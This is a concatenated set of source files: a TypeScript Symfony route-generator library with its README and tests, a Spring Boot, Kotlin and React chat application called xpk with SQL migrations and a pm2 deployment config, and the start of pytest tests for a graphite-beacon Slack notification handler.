this.buildQueryParams(`${prefix}[${typeof val === 'object' ? i : ''}]`, val, add); } }); } else if (typeof params === 'object') { for (let name in params) { this.buildQueryParams(`${prefix}[${name}]`, params[name], add); } } else { add(prefix, params); } } private parseToken(token: Token): ParsedToken { let type, prefix, pattern, name; switch (token[0]) { case TokenType.Text: [type, pattern] = token; break; case TokenType.Variable: [type, prefix, pattern, name] = token; break; default: throw new Error(`The token type "${type}" is not supported.`); } return {type, prefix, pattern, name} } } export type RouteDefaults = {[index:string]: string|number} export type RouteRequirements = {[index:string]: string|number} export type RouteParams = {[index:string]: any} export type RoutesMap = {[index: string]: Route} export interface QueryParamAddFunction { (prefix: string, params: any): void; } export interface Route { tokens: Token[] defaults?: RouteDefaults requirements?: RouteRequirements hosttokens?: Token[] schemes?: string[] methods?: string[] } export interface RoutingData extends Context { routes: RoutesMap } export interface Context { base_url: string; prefix?: string host?: string scheme?: string } export enum TokenType { Text = 'text', Variable = 'variable', } export type Token = (string|boolean)[] export interface ParsedToken { type: TokenType prefix: string pattern: string name: string } <file_sep># Deprecated since https://github.com/FriendsOfSymfony/FOSJsRoutingBundle/pull/406 is merged # Description This is a Typescript port of [js router](https://github.com/FriendsOfSymfony/FOSJsRoutingBundle/blob/master/Resources/js/router.js) from [FOSJsRoutingBundle](https://github.com/FriendsOfSymfony/FOSJsRoutingBundle), that is used to expose Symfony app routing in your JavaScript code. Following the original package [readme](https://github.com/FriendsOfSymfony/FOSJsRoutingBundle#readme): > That means you'll be able to generate URL with given parameters like you can do with the Router component provided in the Symfony2 core. The problem is that there is no npm package for that router, so the only way to obtain it is to install `FOSJsRoutingBundle` with composer, which can be painful in pure-frontend repos, for example. So that is the missing one package. Btw, there is other packages like this as well: - https://www.npmjs.com/package/fos-routing - https://github.com/vladislavs/fosjsrouting-wrapper lots of them **PR`s are greatly welcomed.** # Why should you use it - Original code rewritten in typescript, so its typings are always inlined with the code - All original test cases are here, and they are still green - There is es5 UMD modules, source maps and `d.ts` declarations # Installation With npm: ``` npm install symfony-ts-router --save ``` # Usage ## With script tags routes should be dumped in `js` format (which is default), and you should use `symfony-ts-router/dist/shim.js` in twig: ```twig <script src="{{ asset('node_modules/symfony-ts-router/dist/shim.js') }}"></script> <script src="{{ path('fos_js_routing_js', { callback: 'fos.Router.setData' }) }}"></script> ``` or plain html: ```html <script src="/node_modules/symfony-ts-router/dist/shim.js"></script> <script src="/js/fos_js_routes.js"></script> ``` ## In javascript You can create router instance yourself and consume `json` routes ```js import {Router} from 'symfony-ts-router'; import routes from '../../web/js/fos_js_routes.json'; const router = new Router(); router.setRoutingData(routes); router.generate('homepage'); ``` You can use **singleton** version provided in the `shim` package: ```js import {Routing} from 'symfony-ts-router/dist/shim'; import routes from '../../web/js/fos_js_routes.json'; Routing.setData(routes); Routing.generate('homepage'); ``` You can use `js` format routes (with default callback, which is: `fos.Router.setData`) ```js import {Routing} from 'symfony-ts-router/dist/shim'; import '../../web/js/fos_js_routes.js'; Routing.generate('homepage'); ``` <file_sep>import {Router} from "./router"; describe(Router.name, ()=> { describe("generates path", ()=> { it("without params", ()=> { const router = new Router({}, { literal: { tokens: [['text', '/homepage']], } }); expect(router.generate('literal')).toBe('/homepage'); }); it("with params", ()=> { const router = new Router({}, { blog_post: { tokens: [['variable', '/', '[^/]+?', 'slug'], ['text', '/blog-post']], } }); expect(router.generate('blog_post', {slug: 'foo'})).toBe('/blog-post/foo'); }); it("with base url", ()=> { const router = new Router({base_url: '/foo'}, { homepage: { tokens: [['text', '/bar']], } }); expect(router.generate('homepage')).toBe('/foo/bar', ); }); it("with scheme requirements", ()=> { const router = new Router({base_url: '/foo', host: "localhost"}, { homepage: { tokens: [['text', '/bar']], requirements: {"_scheme": "https"}, } }); expect(router.generate('homepage')).toBe('https://localhost/foo/bar'); }); it("with host", ()=> { const router = new Router({base_url: '/foo', host: "localhost", scheme: "http"}, { homepage: { tokens: [['text', '/bar']], hosttokens: [['text', 'otherhost']] } }); expect(router.generate('homepage')).toBe('http://otherhost/foo/bar'); }); it("with host when the same scheme requirement given", ()=> { const router = new Router({base_url: '/foo', host: "localhost", scheme: "http"}, { homepage: { tokens: [['text', '/bar']], requirements: {"_scheme": "http"}, hosttokens: [['text', 'otherhost']] } }); expect(router.generate('homepage')).toBe('http://otherhost/foo/bar'); }); it("with host when the same scheme given", ()=> { const router = new Router({base_url: '/foo', host: "localhost", scheme: "http"}, { homepage: { tokens: [['text', '/bar']], hosttokens: [['text', 'otherhost']], schemes: ['http'], } }); expect(router.generate('homepage')).toBe('http://otherhost/foo/bar'); }); it("with host when another scheme requirement given", ()=> { const router = new Router({base_url: '/foo', host: "localhost", scheme: "http"}, { homepage: { tokens: [['text', '/bar']], requirements: {"_scheme": "https"}, hosttokens: [['text', 'otherhost']] } }); expect(router.generate('homepage')).toBe('https://otherhost/foo/bar'); }); it("with host when another scheme given", ()=> { const router = new Router({base_url: '/foo', host: "localhost", scheme: "http"}, { homepage: { tokens: [['text', '/bar']], hosttokens: [['text', 'otherhost']], schemes: ['https'], } }); expect(router.generate('homepage')).toBe('https://otherhost/foo/bar'); }); it("with host placeholders", ()=> { const router = new Router({base_url: '/foo', host: "localhost", scheme: "http"}, { homepage: { tokens: [['text', '/bar']], hosttokens: [ ['text', '.localhost'], ['variable', '', '', 'subdomain'] ] } }); expect(router.generate('homepage', {subdomain: 'api'})).toBe('http://api.localhost/foo/bar'); }); it("with host placeholders defaults", ()=> { const router = new Router({base_url: '/foo', host: "localhost", scheme: "http"}, { homepage: { tokens: [['text', '/bar']], defaults: {subdomain: 'api'}, hosttokens: [ ['text', '.localhost'], ['variable', '', '', 'subdomain'] ] } }); expect(router.generate('homepage')).toBe('http://api.localhost/foo/bar'); }); it("with optional trailing param", ()=> { const router = new Router({}, { posts: { tokens: [['variable', '.', '', '_format'], ['text', '/posts']], } }); expect(router.generate('posts')).toBe('/posts'); expect(router.generate('posts', {'_format': 'json'})).toBe('/posts.json'); }); it("with boolean token", ()=> { const router = new Router({}, { posts: { tokens: [['variable', '.', '', '_format', true], ['text', '/posts']], } }); expect(router.generate('posts')).toBe('/posts'); expect(router.generate('posts', {'_format': 'json'})).toBe('/posts.json'); }); it("with query string without defautls", ()=> { const router = new Router({}, { posts: { tokens: [['variable', '/', '[1-9]+[0-9]*', 'page'], ['text', '/blog-posts']], defaults: {'page' : 1}, } }); expect(router.generate('posts', {page: 1, extra: 1})).toBe('/blog-posts?extra=1'); }); it("with slashes in route attributes", ()=> { const router = new Router({}, { posts: { tokens: [['variable', '/', '.+', 'id'], ['text', '/blog-post']], } }); expect(router.generate('posts', {id: 'foo/bar'})).toBe('/blog-post/foo/bar'); }); it("with extra params", ()=> { const router = new Router(undefined, { foo: { tokens: [['variable', '/', '', 'bar']], } }); expect(router.generate('foo', {bar: 'baz', foo: 'bar'})).toBe('/baz?foo=bar'); }); it("with deep extra params", ()=> { const router = new Router(undefined, { foo: { tokens: [['variable', '/', '', 'bar']], } }); expect(router.generate('foo', { bar: 'baz', // valid param, not included in the query string foo: [1, [1, 2, 3, 'foo'], 3, 4, 'bar', [1, 2, 3, 'baz']], baz: { foo : 'bar foo', bar : 'baz' }, bob: 'cat' })).toBe('/baz?foo%5B%5D=1&foo%5B1%5D%5B%5D=1&foo%5B1%5D%5B%5D=2&foo%5B1%5D%5B%5D=3&foo%5B1%5D%5B%5D=foo&foo%5B%5D=3&foo%5B%5D=4&foo%5B%5D=bar&foo%5B5%5D%5B%5D=1&foo%5B5%5D%5B%5D=2&foo%5B5%5D%5B%5D=3&foo%5B5%5D%5B%5D=baz&baz%5Bfoo%5D=bar+foo&baz%5Bbar%5D=baz&bob=cat'); }); it("with null value", ()=> { const router = new Router({}, { posts: { tokens: [ ['variable', '/', '.+', 'id'], ['variable', '/', '.+', 'page'], ['text', '/blog-post'] ], } }); expect(router.generate('posts', { page: null, id: 10 })).toBe('/blog-post//10'); }); }); describe("generates absolute url", ()=> { it("without params", ()=> { const router = new Router({base_url: '/foo', host: "localhost", scheme: "http"}, { homepage: { tokens: [['text', '/bar']], } }); expect(router.generate('homepage', [], true)).toBe('http://localhost/foo/bar'); }); it("when scheme requirement given", ()=> { const router = new Router({base_url: '/foo', host: "localhost", scheme: "http"}, { homepage: { tokens: [['text', '/bar']], requirements: {"_scheme": "http"}, } }); expect(router.generate('homepage', [], true)).toBe('http://localhost/foo/bar'); }); it("when scheme given", ()=> { const router = new Router({base_url: '/foo', host: "localhost", scheme: "http"}, { homepage: { tokens: [['text', '/bar']], schemes: ['http'], } }); expect(router.generate('homepage', [], true)).toBe('http://localhost/foo/bar'); }); }); it("generates relative path when the same host given", ()=> { const router = new Router({base_url: '/foo', host: "api.localhost", scheme: "http"}, { homepage: { tokens: [['text', '/bar']], hosttokens: [ ['text', '.localhost'], ['variable', '', '', 'subdomain'] ] } }); expect(router.generate('homepage', {subdomain: 'api'})).toBe('/foo/bar'); }); describe("throws on generate", ()=> { it("when required parameter was not given", ()=> { const router = new Router({}, { foo: { tokens: [['text', '/moo'], ['variable', '/', '', 'bar']], } }); expect(() => router.generate('foo')).toThrowError('The route "foo" requires the parameter "bar".'); }); it("when non existent route", ()=> { const router = new Router(); expect(() => router.generate('foo')).toThrowError('The route "foo" does not exist.'); }); }); it("returns base url", ()=> { const router = new Router({base_url: '/foo'}, { homepage: { tokens: [['text', '/bar']] } }); expect(router.getBaseUrl()).toBe('/foo'); }); it("returns route by name", ()=> { const router = new Router({}, { blog_post: { tokens: [['variable', '/', '[^/]+?', 'slug'], ['text', '/blog-post']], requirements: {"_scheme": "http"}, } }); const expected = { 'tokens' : [ ['variable', '/', '[^/]+?', 'slug'], ['text', '/blog-post'] ], 'requirements': {"_scheme": "http"} }; expect(router.getRoute('blog_post')).toEqual(<any>expected); }); it("returns routes", ()=> { const router = new Router({}, <any>{ blog_post: 'test', blog: 'test' }); const expected = { blog_post: 'test', blog: 'test' }; expect(router.getRoutes()).toEqual(<any>expected); }); it("can implement i18n with route prefixes", ()=> { const router = new Router({base_url: '/foo', prefix: 'en__RG__'}, { en__RG__homepage: { tokens: [['text', '/bar']], }, es__RG__homepage: { tokens: [['text', '/es/bar']], }, _admin: { tokens: [['text', '/admin']], } }); expect(router.generate('homepage')).toBe('/foo/bar'); expect(router.generate('_admin')).toBe('/foo/admin'); router.setPrefix('es__RG__'); expect(router.generate('homepage')).toBe('/foo/es/bar'); }); }); <file_sep>import {Router, RoutingData} from "../router"; export class SingletonRouter { private static readonly instance = new Router(); static getInstance(): Router { return this.instance; } static setData(data: RoutingData): void { SingletonRouter.getInstance().setRoutingData(data); } }<file_sep>import {SingletonRouter} from "./singleton-router"; import {Router} from "../router"; describe(SingletonRouter.name, ()=> { it("can get instance", ()=> { expect(SingletonRouter.getInstance() instanceof Router).toBeTruthy(); }); it("returns same isntance every time", ()=> { const instance = SingletonRouter.getInstance(); expect(SingletonRouter.getInstance()).toBe(instance); }); it("can set data", ()=> { SingletonRouter.setData({ base_url: '', routes: { homepage: { tokens: [['text', 'homepage']] } } }) }); it("generates urls", ()=> { SingletonRouter.setData({ base_url: '', routes: { homepage: { tokens: [['text', '/homepage']] } } }); expect(SingletonRouter.getInstance().generate('homepage')).toBe('/homepage') }); });
59aa0548177f79a17f2bc84e5fc37680b21d2e44
[ "Markdown", "TypeScript" ]
8
TypeScript
laland/symfony-ts-router
94cbbcc68b73fdcfd1bb63c7a46cc8d472ad9fd5
2e6f06a4f0bdb83ceda444a87c2b21d10c7d1bdb
refs/heads/master
<repo_name>xpkio/xpk<file_sep>/back/src/main/java/io/xpk/web/obj/NewPost.kt package io.xpk.web.obj data class NewPost (val body: String, val authorId: Long, val spots: Set<Long>)<file_sep>/ecosystem.config.js module.exports = { 'apps' : [{ 'name': 'caddy', 'script': 'caddy', 'exec_interpreter': 'none', },{ 'name': 'xpk-front', 'script': 'npm', 'args': 'start', 'exec_interpreter': 'none', 'cwd': './front', 'env': { 'PORT': 3000, 'XPK_HOST': 'http://xpk.dev' } },{ 'name': 'xpk-back', 'script': './gradlew', 'args': 'bootRun', 'exec_interpreter': 'none', 'cwd': './back' }], 'deploy': { 'production': Object.assign(require('./deployment-secrets.json'),{ 'post-deploy': ` # React Build cd front npm install npm run build cd .. # Gradle build cd back ./gradlew clean cd .. # Restart pm2 pm2 restart xpk ` .trim() .split('\n') .map(x=>x.trim()) .filter(x=>x.length && !x.startsWith('#')) .join(' && '), 'env': { 'NODE_ENV': 'production' } }) } } <file_sep>/back/src/main/java/io/xpk/web/endpoint/UserController.java package io.xpk.web.endpoint; import io.xpk.domain.obj.XpkUser; import io.xpk.domain.repo.XpkUserRepository; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.Validate; import org.apache.commons.text.RandomStringGenerator; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.security.crypto.password.PasswordEncoder; import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletResponse; import java.security.Principal; import java.util.Objects; @RestController @RequestMapping("/user") @Slf4j public class UserController { private final XpkUserRepository xpkUserRepository; private final PasswordEncoder passwordEncoder; public UserController(XpkUserRepository xpkUserRepository, PasswordEncoder passwordEncoder) { this.xpkUserRepository = xpkUserRepository; this.passwordEncoder = passwordEncoder; } @RequestMapping("/self") public XpkUser currentUser(Principal principal, HttpServletResponse response) { XpkUser user = xpkUserRepository.findByUsername(principal.getName()); if (user == null) { log.warn("Someone's logged in as " + principal.getName() + " but they don't have a corresponding user in the db!"); response.setStatus(404); } return user; } @PreAuthorize("#principal.getName() == #username") @GetMapping("/{username}") public XpkUser user(@PathVariable String username, Principal principal, HttpServletResponse response) { XpkUser user = xpkUserRepository.findByUsername(username); if (user == null) { response.setStatus(404); } return user; } @PreAuthorize("#principal.getName() == #username") @PutMapping("/{username}") public XpkUser putUser(@PathVariable String username, Principal principal, @RequestBody XpkUser user) { Validate.isTrue(Objects.equals(username, user.getUsername())); return xpkUserRepository.save(user); } @PreAuthorize("#principal.getName() == #username") @DeleteMapping("/{username}") public void deleteUser(@PathVariable String username, Principal principal, HttpServletResponse response) { if (xpkUserRepository.existsByUsername(username)) { xpkUserRepository.deleteByUsername(username); response.setStatus(204); } else { response.setStatus(404); } } @PostMapping public XpkUser newUser(@RequestBody XpkUser user) { Validate.isTrue(user.getId() == null, "You can't set the id in a new user request."); String salt = new RandomStringGenerator.Builder().withinRange('0', 'z').build().generate(13); user.setSalt(salt); user.setPassword(passwordEncoder.encode(user.getPassword() + user.getSalt())); return xpkUserRepository.save(user); } } <file_sep>/back/src/main/java/io/xpk/domain/repo/PostRepository.java package io.xpk.domain.repo; import io.xpk.domain.obj.Post; import org.springframework.data.repository.CrudRepository; public interface PostRepository extends CrudRepository<Post, Long> { } <file_sep>/back/build.gradle buildscript { ext.kotlin_version = '1.1.3-2' ext { springBootVersion = '1.5.6.RELEASE' } repositories { mavenCentral() } dependencies { classpath("org.springframework.boot:spring-boot-gradle-plugin:${springBootVersion}") classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version" } } apply plugin: 'java' apply plugin: 'kotlin' apply plugin: 'eclipse' apply plugin: 'org.springframework.boot' version = '0.0.1-SNAPSHOT' sourceCompatibility = 1.8 repositories { mavenCentral() } dependencies { compile('org.springframework.boot:spring-boot-starter-actuator') compile('org.springframework.boot:spring-boot-actuator-docs') compile('org.springframework.boot:spring-boot-starter-data-jpa') compile('org.springframework.boot:spring-boot-starter-web') compile('org.springframework.boot:spring-boot-starter-websocket') runtime('org.springframework.boot:spring-boot-devtools') compile("org.springframework.boot:spring-boot-starter-security") compile group: 'io.jsonwebtoken', name: 'jjwt', version: '0.6.0' compile "com.fasterxml.jackson.module:jackson-module-kotlin:2.9.0" compile group: 'org.apache.commons', name: 'commons-lang3', version: '3.6' compile group: 'org.apache.commons', name: 'commons-text', version: '1.1' compile("com.zaxxer:HikariCP:2.5.1") compile('org.flywaydb:flyway-core') runtime('org.postgresql:postgresql') compileOnly('org.springframework.boot:spring-boot-configuration-processor') compileOnly('org.projectlombok:lombok') testCompile('org.springframework.boot:spring-boot-starter-test') testCompile('org.springframework.restdocs:spring-restdocs-mockmvc') compile "org.jetbrains.kotlin:kotlin-stdlib-jre8:$kotlin_version" } compileKotlin { kotlinOptions { jvmTarget = "1.8" } } compileTestKotlin { kotlinOptions { jvmTarget = "1.8" } } <file_sep>/back/src/main/resources/db/migration/V2__create_salt.sql ALTER TABLE xpk_user ADD COLUMN salt text;<file_sep>/front/src/app.js import React from 'react' import {compose, lifecycle} from 'recompose' import actions from './actions' const App = ({children})=>{ return ( <div id="app"> {children} </div> ) } export default compose( lifecycle({ componentDidMount: ()=>{ if (localStorage.getItem('token')) { actions.restoreUser(localStorage.getItem('token')) } } }) )(App) <file_sep>/back/src/main/java/io/xpk/web/obj/AccountCredentials.kt package io.xpk.web.obj data class AccountCredentials(val username: String, val password: String)<file_sep>/back/src/main/java/io/xpk/domain/obj/Spot.java package io.xpk.domain.obj; import lombok.Data; import javax.persistence.*; import java.util.List; import java.util.Set; @Entity @Data public class Spot { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; private String name; @OneToMany(mappedBy = "spot") private List<Registration> registrations; @ManyToMany private Set<Post> posts; } <file_sep>/front/src/reducers/index.js import { combineReducers } from 'redux' import user from './user' import messages from './messages' export default combineReducers({ user, messages }) <file_sep>/front/src/types.js export const SET_USER = 'SET_USER' export const SET_MESSAGES = 'SET_MESSAGES' <file_sep>/back/src/main/resources/db/migration/V3__create_spot_and_post_tables.sql CREATE TABLE spot ( id BIGSERIAL PRIMARY KEY, creator_id BIGINT REFERENCES xpk_user (id), name text ); CREATE TABLE post ( id BIGSERIAL PRIMARY KEY, body text, author_id BIGINT REFERENCES xpk_user (id), create_date TIMESTAMP ); CREATE TABLE spot_post ( spot_id BIGINT REFERENCES spot (id), post_id BIGINT REFERENCES post (id) ); CREATE TABLE registration ( id BIGSERIAL PRIMARY KEY, spot_id BIGINT REFERENCES spot (id), xpk_user_id BIGINT REFERENCES xpk_user (id), poster BOOLEAN DEFAULT FALSE NOT NULL, viewer BOOLEAN DEFAULT FALSE NOT NULL ); <file_sep>/back/src/main/java/io/xpk/util/MD5.java package io.xpk.util; public class MD5 { public static String toMD5(String md5) { if (md5 == null) { return ""; } try { java.security.MessageDigest md = java.security.MessageDigest.getInstance("MD5"); byte[] array = md.digest(md5.getBytes()); StringBuilder sb = new StringBuilder(); for (byte anArray : array) { sb.append(Integer.toHexString((anArray & 0xFF) | 0x100).substring(1, 3)); } return sb.toString(); } catch (java.security.NoSuchAlgorithmException e) { throw new RuntimeException(e); } } } <file_sep>/front/src/screens/home.js import React from 'react' import {withRouter} from 'react-router-dom' import {connect} from 'react-redux' import MessagePanel from '../components/message-panel' import xpklogo from '../assets/xpk.svg' const Home = ({history, user})=>{ if (!user) { window.setTimeout(()=>history.push('/login'), 1) return null } return ( <div className="app-panel"> <div className="app-panel-main"> <nav className="app-panel-nav"> <div className="panel"> <div className="panel-header"> <div className="panel-title"><img alt="logo" style={{height: '128px'}} src={xpklogo}/></div> </div> <div className="panel-nav"> <ul className="tab tab-block"> <li className="tab-item active"> <a href="#app-panels"> Channels </a> </li> <li className="tab-item"> <a href="#app-panels" className="badge"> You </a> </li> <li className="tab-item"> <a href="#app-panels"> Other </a> </li> </ul> </div> <div className="panel-body"> </div> </div> </nav> <div className="app-panel-body"> <MessagePanel/> </div> </div> </div> ) } export default connect( state=>({user: state.user}) )(withRouter(Home)) <file_sep>/back/src/main/java/io/xpk/service/PostService.java package io.xpk.service; import com.fasterxml.jackson.databind.ObjectMapper; import io.xpk.domain.obj.Post; import io.xpk.domain.obj.Spot; import io.xpk.domain.obj.XpkUser; import io.xpk.domain.repo.PostRepository; import io.xpk.domain.repo.SpotRepository; import io.xpk.domain.repo.XpkUserRepository; import io.xpk.web.obj.NewPost; import lombok.extern.slf4j.Slf4j; import org.jetbrains.annotations.NotNull; import org.springframework.stereotype.Service; import org.springframework.web.socket.CloseStatus; import org.springframework.web.socket.TextMessage; import org.springframework.web.socket.WebSocketSession; import org.springframework.web.socket.handler.TextWebSocketHandler; import java.io.IOException; import java.io.UncheckedIOException; import java.time.OffsetDateTime; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Set; import java.util.concurrent.CopyOnWriteArrayList; @Service @Slf4j public class PostService extends TextWebSocketHandler { private final Map<Long, List<WebSocketSession>> sessionsPerSpotId; private final ObjectMapper objectMapper; private final PostRepository postRepository; private final SpotRepository spotRepository; private final XpkUserRepository xpkUserRepository; public PostService(ObjectMapper objectMapper, PostRepository postRepository, SpotRepository spotRepository, XpkUserRepository xpkUserRepository) { this.objectMapper = objectMapper; this.postRepository = postRepository; this.spotRepository = spotRepository; this.xpkUserRepository = xpkUserRepository; sessionsPerSpotId = new HashMap<>(); } @Override public void handleTextMessage(WebSocketSession session, TextMessage message) { NewPost newPost = fromMessage(message); Post post = postRepository.save(newPostToPost(newPost)); newPost.getSpots() .stream() .map(sessionsPerSpotId::get) .flatMap(List::stream) .forEach((webSocketSession -> sendMessage(post, webSocketSession))); } private NewPost fromMessage(TextMessage message) { log.debug("Received message: " + message.getPayload()); try { return objectMapper.readValue(message.getPayload(), NewPost.class); } catch (IOException e) { log.warn("Caught IOException while receiving text message!", e); throw new UncheckedIOException(e); } } private void sendMessage(Post post, WebSocketSession webSocketSession) { try { webSocketSession.sendMessage(new TextMessage(objectMapper.writeValueAsString(post))); } catch (IOException e) { log.warn("Caught IOException while sending text message!", e); throw new UncheckedIOException(e); } } @Override public void afterConnectionEstablished(WebSocketSession session) throws Exception { Long spotId = getSpotId(session); sessionsPerSpotId.putIfAbsent(spotId, new CopyOnWriteArrayList<>()); sessionsPerSpotId.get(spotId).add(session); log.debug("Connection opened!"); } @Override public void afterConnectionClosed(WebSocketSession session, CloseStatus status) throws Exception { log.debug("Connection Closed: " + status.toString()); sessionsPerSpotId.get(getSpotId(session)).remove(session); } private Long getSpotId(WebSocketSession session) { return Long.valueOf(session.getUri().getPath().substring(6)); } private Post newPostToPost(NewPost newPost) { Post post = new Post(); post.setBody(newPost.getBody()); post.setAuthor(getXpkUserFromAuthorId(newPost)); post.setCreateDate(OffsetDateTime.now()); post.setSpots(getSpotsFromIds(newPost.getSpots())); return post; } @NotNull private XpkUser getXpkUserFromAuthorId(NewPost newPost) { return xpkUserRepository.findOne(newPost.getAuthorId()); } private Set<Spot> getSpotsFromIds(Set<Long> spots) { return spotRepository.findByIdIn(spots); } } <file_sep>/front/src/index.js import React from 'react' import ReactDOM from 'react-dom' import {Provider} from 'react-redux' import App from './app' import store from './store' import registerServiceWorker from './registerServiceWorker' import { BrowserRouter as Router, Route, Switch } from 'react-router-dom' import './index.css' //Routes import Home from './screens/home' import Login from './screens/login' import Register from './screens/register' import NoMatch from './screens/nomatch' const routes = [{ title: 'Home', path: '/', component: Home, exact: true },{ title: 'Login', path: '/login', component: Login, exact: true },{ title: 'Register', path: '/register', component: Register, exact: true }] ReactDOM.render(( <Provider store={store}> <Router> <App> <Switch> {routes.map((route, i) => <Route key={i} {...route} />)} <Route component={NoMatch} /> </Switch> </App> </Router> </Provider> ), document.getElementById('root')) registerServiceWorker() <file_sep>/front/README.md # XPK.io (Speak.io) > xpkio Commands: `npm start` start dev server on 3100 `npm build` build to static files <file_sep>/back/src/main/java/io/xpk/web/obj/Message.kt package io.xpk.web.obj data class Message(val body: String, val time: Long)<file_sep>/back/src/main/resources/db/migration/V1__create_user_table.sql CREATE TABLE xpk_user ( id BIGSERIAL PRIMARY KEY, username TEXT UNIQUE NOT NULL, first_name TEXT, last_name TEXT, email TEXT, password TEXT ); <file_sep>/front/src/request.js import EventSource from 'eventsource' import axios from 'axios' let instance = axios export const withServer = ()=>instance export const eventSource = (path)=>{ const headers = {} if (localStorage.getItem('token')) headers['Authorization'] = localStorage.getItem('token') return new EventSource(path, {headers}) } export const configureToken = (token)=>{ localStorage.setItem('token', token) instance = axios.create({ headers: { 'Authorization': token } }) } if (localStorage.getItem('token')) configureToken(localStorage.getItem('token')) <file_sep>/back/src/main/java/io/xpk/web/endpoint/PostController.java package io.xpk.web.endpoint; import io.xpk.domain.obj.Post; import io.xpk.domain.repo.PostRepository; import org.apache.commons.lang3.Validate; import org.springframework.messaging.handler.annotation.MessageMapping; import org.springframework.messaging.handler.annotation.SendTo; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.PostMapping; @Controller public class PostController { private final PostRepository postRepository; public PostController(PostRepository postRepository) { this.postRepository = postRepository; } @PostMapping(value = "/post") @MessageMapping("/") @SendTo("/spot/") public Post post(Post post) { Validate.isTrue(post.getId() == null); postRepository.save(post); return post; } } <file_sep>/back/src/main/java/io/xpk/domain/repo/XpkUserRepository.java package io.xpk.domain.repo; import io.xpk.domain.obj.XpkUser; import org.springframework.data.repository.CrudRepository; import javax.transaction.Transactional; @Transactional public interface XpkUserRepository extends CrudRepository<XpkUser, Long> { XpkUser findByUsername(String username); Boolean existsByUsername(String username); void deleteByUsername(String username); } <file_sep>/front/src/reducers/messages.js import * as types from '../types' const initialState = {} export default function(state=initialState, action){ const actions = { [types.SET_MESSAGES]: ()=>{ return { ...state, ...action.messages } } } return actions[action.type] === undefined ? state : actions[action.type]() }
57d64460a7efa4812da719154ba190f988d3bd2a
[ "SQL", "JavaScript", "Markdown", "Gradle", "Java", "Kotlin" ]
23
Kotlin
xpkio/xpk
056b103488bb5f39534698092f58e46e929dc825
32b585d97cb5a7d2b82f9351d12246b0add4e749
refs/heads/master
<file_sep>/** * Created by sibe2 on 2018/6/15. */
d204e82bcc011f980be885054e657ea956f598d4
[ "JavaScript" ]
1
JavaScript
xuxiaoshuo888/menhu
06bd36ae32d724bd80461184033e2745082bbf93
19c2790f1bb21fe840787b330e66218da3f2930d
refs/heads/main
<repo_name>Aakash2705/testing<file_sep>/run.sh qemu-system-x86_64 -fda build/main_floppy.iso <file_sep>/kernel/kernel.c void main() { char* vid_mem = (char*) 0xb8000; *vid_mem = 'X'; for(;;); } <file_sep>/Makefile ASM=nasm CC=gcc C_FLAGS= -ffreestanding LINK=ld BINARY= --oformat binary KERNEL_LOC=0x1000 BUILD_DIR=build .PHONY: all floppy_image kernel bootloader clean always # # Floppy image # floppy_image: $(BUILD_DIR)/main_floppy.iso $(BUILD_DIR)/main_floppy.iso: bootloader kernel dd if=/dev/zero of=$(BUILD_DIR)/main_floppy.iso bs=512 count=2880 dd if=$(BUILD_DIR)/boot.bin of=$(BUILD_DIR)/main_floppy.iso conv=notrunc mcopy -i $(BUILD_DIR)/main_floppy.iso $(BUILD_DIR)/kernel.bin "kernel.bin" # # Bootloader # bootloader: $(BUILD_DIR)/boot.bin $(BUILD_DIR)/boot.bin: always $(ASM) bootloader/boot.asm -f bin -o $(BUILD_DIR)/boot.bin # # Kernel # kernel: $(BUILD_DIR)/kernel.bin $(BUILD_DIR)/kernel.bin: always $(CC) $(C_FLAGS) -c kernel/kernel.c -o $(BUILD_DIR)/kernel.o $(LINK) -o $(BUILD_DIR)/kernel.bin -Ttext $(KERNEL_LOC) $(BUILD_DIR)/kernel.o $(BINARY) # # Always # always: mkdir -p $(BUILD_DIR) # # Clean # clean: rm -rf $(BUILD_DIR)/*
77b6dcae0028586557aea55cc3c9a462e26a6f2e
[ "C", "Makefile", "Shell" ]
3
Shell
Aakash2705/testing
def9f6b5c62ef3b0a4aeccd8aac116479a47ff71
d2c1d7406571c1455954f2b0e97589e526838e66
refs/heads/develop
<file_sep>from graphite_beacon.alerts import BaseAlert from graphite_beacon.handlers.slack import SlackHandler def _configure_reactor(reactor): """Add config that every test needs.""" reactor.options['slack'] = { 'webhook': 'https://slackhook.example.com' } return reactor def _get_alert(reactor): return BaseAlert.get(reactor, name='Test', query='*', rules=['normal: == 0']) def test_no_mentions(reactor): """Make sure we still produce messages if there is no special mention config.""" _configure_reactor(reactor) handler = SlackHandler(reactor) alert = _get_alert(reactor) message = handler.get_message('critical', alert, 42, target=0, ntype='graphite') assert message == b'[BEACON] CRITICAL <Test> failed. Current value: 42.0' def test_warning_mentions(reactor): """Make sure appropriate mentions are found in message for warnings.""" _configure_reactor(reactor) reactor.options['slack']['warning_mentions'] = ['U04V385L0', 'U04V385L1', ' ', 'U04V385L0'] handler = SlackHandler(reactor) alert = _get_alert(reactor) message = handler.get_message('warning', alert, 42, target=0, ntype='graphite') assert message.endswith(b'/cc <U04V385L0>, <U04V385L1>') def test_critical_mentions(reactor): """Make sure appropriate mentions are found in message for criticals.""" _configure_reactor(reactor) reactor.options['slack']['critical_mentions'] = ['U04V385L0', 'U04V385L1', ' ', 'U04V385L0', '!channel'] handler = SlackHandler(reactor) alert = _get_alert(reactor) message = handler.get_message('critical', alert, 42, target=0, ntype='graphite') assert message.endswith(b'/cc <U04V385L0>, <U04V385L1>, <!channel>') def test_additional_mentions(reactor): """Ensure we can add alert-level mentions as well.""" _configure_reactor(reactor) reactor.options['slack']['critical_mentions'] = ['U04V385L0', 'U04V385L1', ' ', 'U04V385L0'] handler = SlackHandler(reactor) alert = _get_alert(reactor) alert.override = {'slack': {'additional_mentions': ['U04V385L4', 'U04V385L5']}} message = handler.get_message('critical', alert, 42, target=0, ntype='graphite') assert message.endswith(b'/cc <U04V385L0>, <U04V385L1>, <U04V385L4>, <U04V385L5>') def test_override_level_mentions(reactor): """Should be able to override {warning,critical}_mentions per alert.""" _configure_reactor(reactor) slack = reactor.options['slack'] slack['critical_mentions'] = ['default_critical_user'] slack['warning_mentions'] = ['default_warning_user'] handler = SlackHandler(reactor) alert = _get_alert(reactor) alert.override = { 'slack': { 'warning_mentions': ['overridden_warning_user'], 'critical_mentions': ['overridden_critical_user'], 'additional_mentions': 